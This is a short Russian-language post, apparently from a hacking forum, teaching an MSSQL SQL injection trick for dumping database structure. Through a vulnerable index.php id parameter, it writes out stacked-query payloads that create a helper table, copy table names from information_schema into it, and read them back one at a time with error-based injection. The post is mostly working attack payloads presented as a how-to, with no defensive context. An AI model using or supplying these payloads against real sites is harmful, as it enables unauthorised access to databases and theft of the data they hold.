При проведении инъекции в MSSQL для получения данных проще сделать вот так (на примере table_name из information_schema):
так как можно разделять запросы то, создаем табличку с двумя полями

Код:
/index.php?id=1;create table tttt (id int identity(1,1) not null,txt nvarchar(800));

здесь поле id автоматически увеличивается на единицу (аналог auto increment) identity(1,1) - означает, что автоинкремент начинается со значения 1 (1,1) с шагом 1 (1,1).
Далее вставляем нужные нам данные в эту табличку в поле txt

Код:
/index.php?id=1;insert into tttt(txt) select table_name from information_schema.tables+--+

И теперь уже при выборке нам не нужно нагромождать наш запрос условием where table_name not in('...','....',...) а перебирать просто:

Код:
/index.php?id=1 and 1=(select txt from tttt where id=1)
/index.php?id=1 and 1=(select txt from tttt where id=2)
...

Ну вот как то так главное начало есть :)